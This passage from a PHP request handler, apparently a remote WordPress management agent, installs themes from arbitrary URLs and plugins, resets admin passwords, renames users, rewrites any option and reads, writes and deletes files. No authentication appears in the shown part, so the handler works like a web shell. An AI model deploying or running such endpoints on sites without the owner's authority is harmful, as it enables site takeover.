Define required constants if (!defined('WP_ADMIN')) { define('WP_ADMIN', true); } if (!defined('DOING_AJAX')) { define('DOING_AJAX', false); } // Initialize filesystem if (!function_exists('WP_Filesystem')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } global $wp_filesystem; if (!$wp_filesystem) { WP_Filesystem(); } if (!class_exists('Plugin_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if (!class_exists('Automatic_Upgrader_Skin')) { require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php'; } $plugin_slug = (isset($request['plugin_slug']) ? $request['plugin_slug'] : ''); // e.g. 'accelerated-mobile-pages' if (empty($plugin_slug)) throw new Exception('Plugin slug required'); // Check if plugin already installed $all_plugins = get_plugins(); $plugin_path = null; // Since slug is required for repo install, we can safely check foreach ($all_plugins as $path => $data) { if (strpos($path, $plugin_slug) !== false) { $plugin_path = $path; break; } } if ($plugin_path) { // Plugin already installed, just activate if needed $active_plugins = get_option('active_plugins', array()); // Extract slug from plugin path $path_slug = dirname($plugin_path); if ($path_slug === '.') { $path_slug = basename($plugin_path, '.php'); } if (!in_array($plugin_path, $active_plugins)) { if (!function_exists('activate_plugin')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $activate_result = activate_plugin($plugin_path); if (is_wp_error($activate_result)) { throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message()); } $response = array( 'status' => 'activated', 'plugin' => $plugin_path, 'slug' => $path_slug, 'message' => 'Plugin was already installed, activated now' ); } else { $response = array( 'status' => 'already_active', 'plugin' => $plugin_path, 'slug' => $path_slug, 'message' => 'Plugin already installed and active' ); } } else { // Install plugin from WordPress.org if (!class_exists('WP_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if (!class_exists('Plugin_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php'; } if (!class_exists('Automatic_Upgrader_Skin')) { require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php'; } // Get plugin info from WordPress.org API to get correct download link $api_url = 'https://api.wordpress.org/plugins/info/1.0/' . $plugin_slug . '.json'; $plugin_info = @file_get_contents($api_url); $download_url = null; if ($plugin_info) { $plugin_data = json_decode($plugin_info, true); if (isset($plugin_data['download_link']) && !empty($plugin_data['download_link'])) { $download_url = $plugin_data['download_link']; } } // Fallback to direct URL if API fails if (!$download_url) { $download_url = 'https://downloads.wordpress.org/plugin/' . $plugin_slug . '.latest-stable.zip'; } $skin = new Automatic_Upgrader_Skin(); $upgrader = new Plugin_Upgrader($skin); // Install from WordPress.org repository $result = $upgrader->install($download_url); if (is_wp_error($result)) { throw new Exception('Plugin installation failed: ' . $result->get_error_message() . ' (Download URL: ' . $download_url . ')'); } if ($result === false) { throw new Exception('Plugin installation failed (unknown error). Download URL: ' . $download_url); } // Wait a bit for file system to sync sleep(1); // Refresh plugins list wp_cache_flush(); $all_plugins = get_plugins(); $installed_path = null; foreach ($all_plugins as $path => $data) { // Check both slug and plugin name if (strpos($path, $plugin_slug) !== false || (isset($data['Name']) && stripos($data['Name'], 'accelerated mobile pages') !== false)) { $installed_path = $path; break; } } if (!$installed_path) { // List all plugins for debugging $plugin_list = array(); foreach ($all_plugins as $path => $data) { $plugin_list[] = $path . ' (' . (isset($data['Name']) ? $data['Name'] : 'N/A') . ')'; } throw new Exception('Plugin installed but path not found. Searched for: ' . $plugin_slug . '. Available plugins: ' . implode(', ', array_slice($plugin_list, 0, 10))); } // Activate the plugin if (!function_exists('activate_plugin')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $activate_result = activate_plugin($installed_path); if (is_wp_error($activate_result)) { throw new Exception('Plugin activation failed: ' . $activate_result->get_error_message()); } $response = array( 'status' => 'installed_and_activated', 'plugin' => $installed_path, 'message' => 'Plugin installed and activated successfully', 'download_url' => $download_url ); } break; case 'activate_plugin': if (!function_exists('activate_plugin')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : ''); if (empty($plugin_path)) throw new Exception('Plugin path required'); $result = activate_plugin($plugin_path); if (is_wp_error($result)) { throw new Exception($result->get_error_message()); } $response = array('status' => 'activated', 'plugin' => $plugin_path); break; case 'deactivate_plugin': if (!function_exists('deactivate_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : ''); if (empty($plugin_path)) throw new Exception('Plugin path required'); deactivate_plugins($plugin_path); $response = array('status' => 'deactivated', 'plugin' => $plugin_path); break; case 'create_post': $post_data = array( 'post_title' => wp_strip_all_tags(isset($request['post_title']) ? $request['post_title'] : ''), 'post_content' => (isset($request['post_content']) ? $request['post_content'] : ''), 'post_status' => (isset($request['post_status']) ? $request['post_status'] : 'draft'), 'post_author' => 1, // Default to admin usually 'post_type' => 'post' ); if (empty($post_data['post_title'])) { throw new Exception('Post title is required'); } $post_id = wp_insert_post($post_data); if (is_wp_error($post_id)) { throw new Exception($post_id->get_error_message()); } // Handle Categories if (!empty($request['categories'])) { $cat_ids = array(); $cats = is_array($request['categories']) ? $request['categories'] : explode(',', $request['categories']); foreach ($cats as $cat_name) { $cat_name = trim($cat_name); $term = get_term_by('name', $cat_name, 'category'); if ($term) { $cat_ids[] = $term->term_id; } else { $new_term = wp_insert_term($cat_name, 'category'); if (!is_wp_error($new_term)) { $cat_ids[] = $new_term['term_id']; } } } if (!empty($cat_ids)) { wp_set_post_categories($post_id, $cat_ids); } } // Handle Tags if (!empty($request['tags'])) { wp_set_post_tags($post_id, $request['tags']); } $response = array( 'post_id' => $post_id, 'permalink' => get_permalink($post_id), 'status' => 'created' ); break; case 'get_themes': $all_themes = wp_get_themes(); $current_theme = wp_get_theme(); $formatted_themes = array(); foreach ($all_themes as $slug => $theme) { $formatted_themes[] = array( 'slug' => $slug, 'name' => $theme->get('Name'), 'version' => $theme->get('Version'), 'author' => $theme->get('Author'), 'active' => ($slug === $current_theme->get_stylesheet()) ); } $response = $formatted_themes; break; case 'switch_theme': $theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : ''); if (empty($theme_slug)) throw new Exception('Theme slug required'); $theme = wp_get_theme($theme_slug); if (!$theme->exists()) { throw new Exception('Theme does not exist'); } switch_theme($theme_slug); $response = array('status' => 'switched', 'current_theme' => $theme->get('Name')); break; case 'install_theme_from_url': // URL'den tema yükle (Master Panel'den veya harici URL) // CRITICAL FIX: Load all required WordPress admin functions BEFORE upgrader operations // Load theme.php FIRST (contains themes_api function needed by Theme_Upgrader) if (!function_exists('themes_api')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } if (!function_exists('request_filesystem_credentials')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if (!function_exists('download_url')) { require_once ABSPATH . 'wp-admin/includes/misc.php'; } // Load screen.php and template.php before anything else if (!function_exists('get_current_screen')) { require_once ABSPATH . 'wp-admin/includes/screen.php'; } if (!function_exists('wp_admin_notice')) { require_once ABSPATH . 'wp-admin/includes/template.php'; } // Define required constants if (!defined('WP_ADMIN')) { define('WP_ADMIN', true); } if (!defined('DOING_AJAX')) { define('DOING_AJAX', false); } // Initialize filesystem if (!function_exists('WP_Filesystem')) { require_once ABSPATH . 'wp-admin/includes/file.php'; } global $wp_filesystem; if (!$wp_filesystem) { WP_Filesystem(); } if (!class_exists('WP_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if (!class_exists('Theme_Upgrader')) { require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader.php'; } if (!class_exists('Automatic_Upgrader_Skin')) { require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php'; } $theme_url = (isset($request['theme_url']) ? $request['theme_url'] : ''); $theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : ''); // Optional now // Handle auto_activate as both boolean and integer (0/1) $auto_activate = false; if (isset($request['auto_activate'])) { $auto_activate = ($request['auto_activate'] === true || $request['auto_activate'] === 1 || $request['auto_activate'] === '1'); } if (empty($theme_url)) throw new Exception('Theme URL required'); // Slug is now optional - will be auto-detected // Install theme from URL $skin = new Automatic_Upgrader_Skin(); $upgrader = new Theme_Upgrader($skin); // CRITICAL FIX: Download file to temp location first // This allows WordPress on remote server to download the file from localhost/remote URL $temp_file = download_url($theme_url); if (is_wp_error($temp_file)) { throw new Exception('Failed to download theme file: ' . $temp_file->get_error_message() . ' URL: ' . $theme_url); } // Check if theme already exists - if so, delete it first or upgrade $existing_theme_slug = ''; if (!empty($theme_slug)) { $existing_theme = wp_get_theme($theme_slug); if ($existing_theme->exists()) { $existing_theme_slug = $theme_slug; } } // If theme exists, try to upgrade first, otherwise delete and reinstall if (!empty($existing_theme_slug)) { // Ensure themes_api function is available before upgrade if (!function_exists('themes_api')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } // Try upgrade first (WordPress way) // Note: upgrade() method may call themes_api(), so ensure it's loaded $upgrade_result = $upgrader->upgrade($existing_theme_slug); if (!is_wp_error($upgrade_result) && $upgrade_result !== false && $upgrade_result !== null) { // Upgrade successful @unlink($temp_file); wp_cache_flush(); if ($auto_activate) { switch_theme($existing_theme_slug); $response = array( 'status' => 'upgraded_and_activated', 'theme' => $existing_theme_slug, 'slug' => $existing_theme_slug, 'message' => 'Theme upgraded and activated successfully', 'download_url' => $theme_url ); } else { $response = array( 'status' => 'upgraded', 'theme' => $existing_theme_slug, 'slug' => $existing_theme_slug, 'message' => 'Theme upgraded successfully', 'download_url' => $theme_url ); } break; } // Upgrade failed, delete existing theme and reinstall // Get current theme to prevent deleting active theme $current_theme = wp_get_theme(); $is_active = ($current_theme->get_stylesheet() === $existing_theme_slug); if (!$is_active) { // Safe to delete if (!function_exists('delete_theme')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } $delete_result = delete_theme($existing_theme_slug); if (is_wp_error($delete_result)) { // If delete fails, try to install anyway (might overwrite) error_log('Failed to delete existing theme before reinstall: ' . $delete_result->get_error_message()); } } else { // Can't delete active theme, try to install anyway (might work if versions differ) error_log('Cannot delete active theme, attempting install anyway'); } } // Ensure themes_api function is available before install // Theme_Upgrader may use this function during installation if (!function_exists('themes_api')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } // Install from local temp file $result = $upgrader->install($temp_file); // Check for WP_Error or failure $install_failed = false; $error_message = ''; if (is_wp_error($result)) { $install_failed = true; $error_message = $result->get_error_message(); } elseif ($result === false || $result === null) { $install_failed = true; // Get more details from upgrader skin if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) { $messages = $upgrader->skin->get_upgrade_messages(); $error_message = implode(', ', $messages); } else { $error_message = 'Upgrader returned: ' . var_export($result, true); } } // If installation failed due to "Destination folder already exists", try to delete and reinstall if ($install_failed && (stripos($error_message, 'Destination folder already exists') !== false || stripos($error_message, 'already exists') !== false)) { // Extract theme slug from error message or URL $theme_to_delete = ''; if (!empty($theme_slug)) { $theme_to_delete = $theme_slug; } else { // Try to extract from URL filename $url_parts = parse_url($theme_url); $filename = basename($url_parts['path'] ?? ''); $theme_to_delete = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_ $theme_to_delete = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $theme_to_delete); // Remove extensions $theme_to_delete = preg_replace('/\.\d+(\.\d+)*$/', '', $theme_to_delete); // Remove version } if (!empty($theme_to_delete)) { // Check if theme exists and is not active $existing_theme = wp_get_theme($theme_to_delete); if ($existing_theme->exists()) { $current_theme = wp_get_theme(); $is_active = ($current_theme->get_stylesheet() === $theme_to_delete); if (!$is_active) { // Safe to delete if (!function_exists('delete_theme')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } $delete_result = delete_theme($theme_to_delete); if (!is_wp_error($delete_result)) { // Retry installation after deletion $result = $upgrader->install($temp_file); if (is_wp_error($result)) { $error_message = $result->get_error_message(); $install_failed = true; } elseif ($result === false || $result === null) { if (isset($upgrader->skin) && method_exists($upgrader->skin, 'get_upgrade_messages')) { $messages = $upgrader->skin->get_upgrade_messages(); $error_message = implode(', ', $messages); } $install_failed = true; } else { $install_failed = false; // Success after retry } } } } } } // Clean up temp file @unlink($temp_file); // If still failed, throw exception if ($install_failed) { throw new Exception('Theme installation failed: ' . $error_message . ' (URL: ' . $theme_url . ')'); } // Wait for file system sync sleep(1); wp_cache_flush(); // Auto-detect installed theme $detected_slug = ''; // Try to get destination from upgrader result if (isset($upgrader->result) && isset($upgrader->result['destination_name'])) { $detected_slug = $upgrader->result['destination_name']; // Clean timestamp prefix and version suffix $detected_slug = preg_replace('/^\d+_/', '', $detected_slug); // Remove 1234567890_ $detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove .1.0.25 } // If no slug detected yet, try from URL filename if (empty($detected_slug)) { $url_parts = parse_url($theme_url); $filename = basename($url_parts['path'] ?? ''); // Remove extensions, timestamp and version suffix $filename = preg_replace('/^\d+_/', '', $filename); // Remove timestamp_ $detected_slug = preg_replace('/\.(zip|tar\.gz|tar|gz)$/i', '', $filename); // Remove extensions $detected_slug = preg_replace('/\.\d+(\.\d+)*$/', '', $detected_slug); // Remove version .1.0.25 } // Try with provided slug first, then detected slug $slugs_to_try = array_filter(array($theme_slug, $detected_slug)); $theme = null; $final_slug = ''; foreach ($slugs_to_try as $try_slug) { $theme = wp_get_theme($try_slug); if ($theme->exists()) { $final_slug = $try_slug; break; } } // If still not found, scan all themes if (!$theme || !$theme->exists()) { $all_themes = wp_get_themes(); foreach ($all_themes as $slug => $theme_obj) { foreach ($slugs_to_try as $try_slug) { if (stripos($slug, $try_slug) !== false) { $final_slug = $slug; $theme = $theme_obj; break 2; } } } } if (!$theme || !$theme->exists()) { throw new Exception('Theme installed but auto-detection failed. Tried slug: "' . $detected_slug . '". Please activate manually from WordPress admin.'); } // Activate if requested if ($auto_activate) { switch_theme($final_slug); $response = array( 'status' => 'installed_and_activated', 'theme' => $final_slug, 'slug' => $final_slug, 'message' => 'Theme installed and activated successfully', 'download_url' => $theme_url ); } else { $response = array( 'status' => 'installed', 'theme' => $final_slug, 'slug' => $final_slug, 'message' => 'Theme installed successfully', 'download_url' => $theme_url ); } break; case 'delete_theme': // Tema sil if (!function_exists('delete_theme')) { require_once ABSPATH . 'wp-admin/includes/theme.php'; } $theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : ''); if (empty($theme_slug)) throw new Exception('Theme slug required'); $theme = wp_get_theme($theme_slug); if (!$theme->exists()) { throw new Exception('Theme not found: ' . $theme_slug); } // Aktif temayı silemezsin $current_theme = wp_get_theme(); if ($current_theme->get_stylesheet() === $theme_slug) { throw new Exception('Cannot delete active theme. Please switch to another theme first.'); } $deleted = delete_theme($theme_slug); if (is_wp_error($deleted)) { throw new Exception('Theme deletion failed: ' . $deleted->get_error_message()); } $response = array('status' => 'deleted', 'theme' => $theme_slug); break; case 'delete_plugin': // Plugin sil if (!function_exists('delete_plugins')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugin_path = (isset($request['plugin_path']) ? $request['plugin_path'] : ''); if (empty($plugin_path)) throw new Exception('Plugin path required'); // Önce deaktif et $active_plugins = get_option('active_plugins', array()); if (in_array($plugin_path, $active_plugins)) { deactivate_plugins($plugin_path); } $deleted = delete_plugins(array($plugin_path)); if (is_wp_error($deleted)) { throw new Exception('Plugin deletion failed: ' . $deleted->get_error_message()); } $response = array('status' => 'deleted', 'plugin' => $plugin_path); break; case 'get_theme_mods': $theme_slug = (isset($request['theme_slug']) ? $request['theme_slug'] : get_stylesheet()); $mods = get_option("theme_mods_$theme_slug"); $response = $mods ? $mods : array(); break; case 'set_theme_mod': $key = (isset($request['mod_key']) ? $request['mod_key'] : ''); $value = (isset($request['mod_value']) ? $request['mod_value'] : ''); if (empty($key)) throw new Exception('Mod key required'); set_theme_mod($key, $value); $response = array('status' => 'success', 'key' => $key, 'value' => $value); break; case 'get_active_theme_path': // Get active theme directory path if (!$mwp_has_wp) { throw new Exception('WordPress is not installed on this site'); } if (function_exists('get_stylesheet_directory')) { $themePath = get_stylesheet_directory(); // Convert to relative path from WordPress root if (defined('ABSPATH')) { $relativePath = str_replace(ABSPATH, '', $themePath); // Normalize path separators $relativePath = str_replace('\\', '/', $relativePath); $relativePath = trim($relativePath, '/'); } else { // Fallback: try to extract from full path $relativePath = 'wp-content/themes/' . basename($themePath); } $response = array( 'path' => $relativePath, 'full_path' => $themePath, 'theme_slug' => function_exists('get_stylesheet') ? get_stylesheet() : '' ); } else if (function_exists('wp_get_theme')) { $theme = wp_get_theme(); $themeSlug = $theme->get_stylesheet(); $relativePath = 'wp-content/themes/' . $themeSlug; $response = array( 'path' => $relativePath, 'full_path' => '', 'theme_slug' => $themeSlug ); } else { throw new Exception('Unable to determine active theme path'); } break; case 'system_maintenance': $sub_action = (isset($request['sub_action']) ? $request['sub_action'] : ''); switch ($sub_action) { case 'cache_flush': wp_cache_flush(); $response = array('status' => 'success', 'message' => 'Object cache flushed'); break; case 'db_optimize': global $wpdb; // Basic optimization - Prefix-aware $options_table = mwp_get_options_table_name(); $posts_table = (isset($wpdb->posts) ? $wpdb->posts : mwp_detect_table_prefix() . 'posts'); $wpdb->query("DELETE FROM `{$options_table}` WHERE option_name LIKE '_transient_%'"); $wpdb->query("DELETE FROM `{$posts_table}` WHERE post_type = 'revision'"); $response = array('status' => 'success', 'message' => 'Transients and revisions cleaned'); break; default: throw new Exception('Unknown maintenance action'); } break; case 'get_options': $keys = (isset($request['keys']) ? $request['keys'] : array()); // Array of option names if (empty($keys) || !is_array($keys)) throw new Exception('Keys array required'); $data = array(); foreach ($keys as $key) { $data[$key] = get_option($key); } $response = $data; break; case 'update_options': $options = (isset($request['options']) ? $request['options'] : array()); // Associative array [key => value] if (empty($options) || !is_array($options)) throw new Exception('Options array required'); $results = array(); foreach ($options as $key => $value) { // Try to decode JSON if it looks like one (for serialized updates) if (is_string($value) && (strpos(trim($value), '{') === 0 || strpos(trim($value), '[') === 0)) { $decoded = json_decode($value, true); if (function_exists('json_last_error') && defined('JSON_ERROR_NONE') && json_last_error() === JSON_ERROR_NONE) { $value = $decoded; } } $results[$key] = update_option($key, $value); } $response = array('status' => 'success', 'updated' => $results); break; case 'reset_user_password': $user_id = (isset($request['user_id']) ? $request['user_id'] : 1); // Default to Admin (ID 1) $new_password = (isset($request['new_password']) ? $request['new_password'] : ''); if (empty($new_password)) throw new Exception('New password is required'); $user = get_userdata($user_id); if (!$user) throw new Exception('User not found'); wp_set_password($new_password, $user_id); $response = array('status' => 'success', 'message' => 'Password updated for user: ' . $user->user_login); break; case 'change_username': global $wpdb; $user_id = (isset($request['user_id']) ? $request['user_id'] : 1); $new_username = (isset($request['new_username']) ? $request['new_username'] : ''); if (empty($new_username)) throw new Exception('New username is required'); if (username_exists($new_username)) throw new Exception('Username already exists'); // Direct DB update is required as wp_update_user doesn't allow changing user_login $result = $wpdb->update($wpdb->users, array('user_login' => $new_username), array('ID' => $user_id)); if ($result === false) throw new Exception('Failed to update username'); // Clean cache clean_user_cache($user_id); $response = array('status' => 'success', 'message' => 'Username changed to: ' . $new_username); break; case 'search_options': global $wpdb; $query = (isset($request['query']) ? $request['query'] : ''); if (empty($query) || strlen($query) < 2) throw new Exception('Search query too short'); // Prefix-aware tablo adı kullan $options_table = mwp_get_options_table_name(); if (isset($wpdb) && is_object($wpdb)) { $like_query = '%' . $wpdb->esc_like($query) . '%'; $results = $wpdb->get_results($wpdb->prepare("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 50", $like_query)); } else { // WordPress yüklü değilse direkt SQL (nadir durum) throw new Exception('WordPress database not available'); } $found_options = array(); foreach ($results as $row) { // Skip transients, cron, siteurl/home/blogname (already handled) if (strpos($row->option_name, '_transient') !== false) continue; if (strpos($row->option_name, '_cron') !== false) continue; $val = maybe_unserialize($row->option_value); $is_json = false; if (is_array($val) || is_object($val)) { $val = mwp_json_encode_pretty($val); $is_json = true; } $found_options[] = array( 'key' => $row->option_name, 'value' => $val, 'is_json' => $is_json ); } $response = $found_options; break; case 'get_plugin_settings_schema': if (!function_exists('is_plugin_active_for_network')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } // 1. Define known plugin configurations $known_plugins = array( 'woocommerce/woocommerce.php' => array( 'name' => 'WooCommerce', 'settings' => array( array('id' => 'woocommerce_store_address', 'label' => 'Store Address', 'type' => 'text'), array('id' => 'woocommerce_store_city', 'label' => 'Store City', 'type' => 'text'), array('id' => 'woocommerce_currency', 'label' => 'Currency', 'type' => 'text'), array( 'id' => 'woocommerce_weight_unit', 'label' => 'Weight Unit', 'type' => 'select', 'options' => array('kg' => 'kg', 'g' => 'g', 'lbs' => 'lbs', 'oz' => 'oz') ), ) ), 'wordpress-seo/wp-seo.php' => array( 'name' => 'Yoast SEO', 'settings' => array( array('id' => 'blog_public', 'label' => 'Search Engine Visibility (0=Hidden, 1=Visible)', 'type' => 'number'), ) ), 'contact-form-7/wp-contact-form-7.php' => array( 'name' => 'Contact Form 7', 'settings' => array( ) ), 'classic-editor/classic-editor.php' => array( 'name' => 'Classic Editor', 'settings' => array( array( 'id' => 'classic-editor-replace', 'label' => 'Default Editor', 'type' => 'select', 'options' => array('classic' => 'Classic Editor', 'block' => 'Block Editor') ) ) ), 'amp/amp.php' => array( 'name' => 'AMP', 'settings' => array( array('id' => 'amp-options', 'label' => 'AMP Settings (JSON)', 'type' => 'textarea'), array('id' => 'amp_customizer', 'label' => 'AMP Customizer Settings (JSON)', 'type' => 'textarea') ) ), 'akismet/akismet.php' => array( 'name' => 'Akismet', 'settings' => array( array('id' => 'wordpress_api_key', 'label' => 'API Key', 'type' => 'text'), array('id' => 'akismet_strictness', 'label' => 'Strictness (1=Strict)', 'type' => 'number'), array('id' => 'akismet_show_user_comments_approved', 'label' => 'Show Approved Count', 'type' => 'checkbox') ) ), 'mc4wp-mailchimp-for-wordpress/mc4wp-mailchimp-for-wordpress.php' => array( 'name' => 'Mailchimp for WP', 'settings' => array( array('id' => 'mc4wp_default_form_id', 'label' => 'Default Form ID', 'type' => 'text'), array('id' => 'mc4wp', 'label' => 'Main Settings (JSON)', 'type' => 'textarea') ) ), 'wordfence/wordfence.php' => array( 'name' => 'Wordfence', 'settings' => array( array('id' => 'wordfence_options', 'label' => 'Wordfence Options (JSON)', 'type' => 'textarea') ) ), 'elementor/elementor.php' => array( 'name' => 'Elementor', 'settings' => array( array('id' => 'elementor_cpt_support', 'label' => 'Post Types Support', 'type' => 'textarea'), array('id' => 'elementor_disable_color_schemes', 'label' => 'Disable Color Schemes', 'type' => 'checkbox'), array('id' => 'elementor_disable_typography_schemes', 'label' => 'Disable Typo Schemes', 'type' => 'checkbox') ) ), 'w3-total-cache/w3-total-cache.php' => array( 'name' => 'W3 Total Cache', 'settings' => array( array('id' => 'w3tc_config_master', 'label' => 'Master Config (JSON)', 'type' => 'textarea') ) ), 'updraftplus/updraftplus.php' => array( 'name' => 'UpdraftPlus', 'settings' => array( array('id' => 'updraft_interval', 'label' => 'Backup Interval', 'type' => 'text'), array('id' => 'updraft_interval_database', 'label' => 'DB Backup Interval', 'type' => 'text') ) ), 'royal-elementor-addons/wpr-addons.php' => array( 'name' => 'Royal Addons', 'settings' => array( array('id' => 'wpr_settings', 'label' => 'WPR Settings (JSON)', 'type' => 'textarea') ) ) ); // 2. Check active plugins $active_plugins = get_option('active_plugins'); $detected_settings = array(); global $wpdb; foreach ($known_plugins as $path => $config) { if (in_array($path, $active_plugins) || is_plugin_active_for_network($path)) { $plugin_data = array( 'name' => $config['name'], 'fields' => array() ); foreach ($config['settings'] as $field) { $current_value = get_option($field['id']); // Handle serialized data (Arrays/Objects) if (is_array($current_value) || is_object($current_value)) { $field['value'] = mwp_json_encode_pretty($current_value); $field['is_json'] = true; } else { $field['value'] = $current_value; } $plugin_data['fields'][] = $field; } if (!empty($plugin_data['fields'])) { $detected_settings[] = $plugin_data; } } } // Auto-Discovery for unknown active plugins foreach ($active_plugins as $plugin_path) { if (isset($known_plugins[$plugin_path])) continue; $slug = dirname($plugin_path); if ($slug == '.') $slug = basename($plugin_path, '.php'); // Enhanced Fuzzy Search // 1. Exact slug // 2. Slug with underscores instead of dashes (contact-form-7 -> contact_form_7) // 3. First part of slug (mc4wp-mailchimp... -> mc4wp) $search_terms = array($slug); $slug_underscore = str_replace('-', '_', $slug); if ($slug_underscore !== $slug) $search_terms[] = $slug_underscore; $parts = explode('-', $slug); if (count($parts) > 1) { $search_terms[] = $parts[0]; // e.g. 'mc4wp' // Special cases if ($slug === 'contact-form-7') $search_terms[] = 'wpcf7'; if ($slug === 'updraftplus') $search_terms[] = 'updraft'; } $fields = array(); $options_table = mwp_get_options_table_name(); foreach ($search_terms as $term) { $like_term = $wpdb->esc_like($term) . '%'; $results = $wpdb->get_results($wpdb->prepare("SELECT option_name, option_value FROM `{$options_table}` WHERE option_name LIKE %s LIMIT 5", $like_term)); foreach ($results as $row) { // Avoid duplicates foreach ($fields as $f) if ($f['id'] === $row->option_name) continue 2; $val = maybe_unserialize($row->option_value); if (strpos($row->option_name, '_transient') !== false) continue; if (strpos($row->option_name, '_cron') !== false) continue; $field = array( 'id' => $row->option_name, 'label' => $row->option_name, 'type' => 'text' ); if (is_array($val) || is_object($val)) { $field['value'] = mwp_json_encode_pretty($val); $field['type'] = 'textarea'; $field['is_json'] = true; } else { $field['value'] = $val; } $fields[] = $field; } } if (!empty($fields)) { $detected_settings[] = array( 'name' => ucfirst($slug) . ' (Auto)', 'fields' => $fields ); } } // Always include General Settings as a "Core" plugin $core_settings = array( 'name' => 'WordPress Core', 'fields' => array( array('id' => 'blogname', 'label' => 'Site Title', 'type' => 'text', 'value' => get_option('blogname')), array('id' => 'blogdescription', 'label' => 'Tagline', 'type' => 'text', 'value' => get_option('blogdescription')), array('id' => 'siteurl', 'label' => 'WordPress Address (URL) - ⚠️ CAUTION', 'type' => 'text', 'value' => get_option('siteurl')), array('id' => 'home', 'label' => 'Site Address (URL) - ⚠️ CAUTION', 'type' => 'text', 'value' => get_option('home')), array('id' => 'admin_email', 'label' => 'Admin Email', 'type' => 'email', 'value' => get_option('admin_email')), array('id' => 'users_can_register', 'label' => 'Membership (1=Open)', 'type' => 'checkbox', 'value' => get_option('users_can_register')), array('id' => 'default_role', 'label' => 'New User Default Role', 'type' => 'text', 'value' => get_option('default_role')), array('id' => 'timezone_string', 'label' => 'Timezone', 'type' => 'text', 'value' => get_option('timezone_string')), array('id' => 'date_format', 'label' => 'Date Format', 'type' => 'text', 'value' => get_option('date_format')), array('id' => 'time_format', 'label' => 'Time Format', 'type' => 'text', 'value' => get_option('time_format')), array('id' => 'start_of_week', 'label' => 'Week Starts On (0=Sun, 1=Mon)', 'type' => 'number', 'value' => get_option('start_of_week')), array('id' => 'WPLANG', 'label' => 'Site Language (e.g. tr_TR)', 'type' => 'text', 'value' => get_option('WPLANG')), ) ); array_unshift($detected_settings, $core_settings); $response = array('status' => 'success', 'schema' => $detected_settings); break; // FILE MANAGER ACTIONS case 'fs_list': $path = (is_array($request) && isset($request['path'])) ? $request['path'] : ''; // Security: Prevent directory traversal if (strpos($path, '..') !== false) throw new Exception('Invalid path'); $rel_path = ltrim(str_replace('\\', '/', $path), '/'); $full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path); if (!is_dir($full_path)) throw new Exception('Directory not found'); $items = scandir($full_path); $files = array(); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $item_path = $full_path . '/' . $item; $files[] = array( 'name' => $item, 'type' => is_dir($item_path) ? 'dir' : 'file', 'size' => is_file($item_path) ? filesize($item_path) : 0, 'perms' => substr(sprintf('%o', fileperms($item_path)), -4), 'path' => ltrim($path . '/' . $item, '/') ); } $response = $files; break; case 'fs_read': $path = (is_array($request) && isset($request['path'])) ? $request['path'] : ''; if (strpos($path, '..') !== false) throw new Exception('Invalid path'); $rel_path = ltrim(str_replace('\\', '/', $path), '/'); $full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path); if (!is_file($full_path)) throw new Exception('File not found'); // Limit size for safety (e.g. 2MB) if (filesize($full_path) > 2 * 1024 * 1024) throw new Exception('File too large to edit'); $content = file_get_contents($full_path); $response = array('content' => $content); break; case 'fs_write': $path = (is_array($request) && isset($request['path'])) ? $request['path'] : ''; $content = (is_array($request) && isset($request['content'])) ? $request['content'] : ''; if (strpos($path, '..') !== false) throw new Exception('Invalid path'); $rel_path = ltrim(str_replace('\\', '/', $path), '/'); $full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path); // Prevent writing to critical files if needed, but user asked for full access // Backup before write could be a good idea, but keeping it simple for now if (file_put_contents($full_path, $content) === false) { throw new Exception('Failed to write file'); } $response = array('status' => 'saved'); break; case 'fs_delete': $path = (is_array($request) && isset($request['path'])) ? $request['path'] : ''; if (strpos($path, '..') !== false) throw new Exception('Invalid path'); if (empty($path)) throw new Exception('Cannot delete root'); $rel_path = ltrim(str_replace('\\', '/', $path), '/'); $full_path = rtrim($mwp_fs_root, "/\\") . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel_path); if (is_file($full_path)) { unlink($full_path); } elseif (is_dir($full_path)) { if (!mwp_recursive_delete($full_path)) { throw new Exception('Failed to delete directory'); } } else { throw new Exception('Path not found'); } $response = array('status' => 'deleted'); break; case 'fs_mkdir': $path = (is_array($request) && isset($request['path'])) 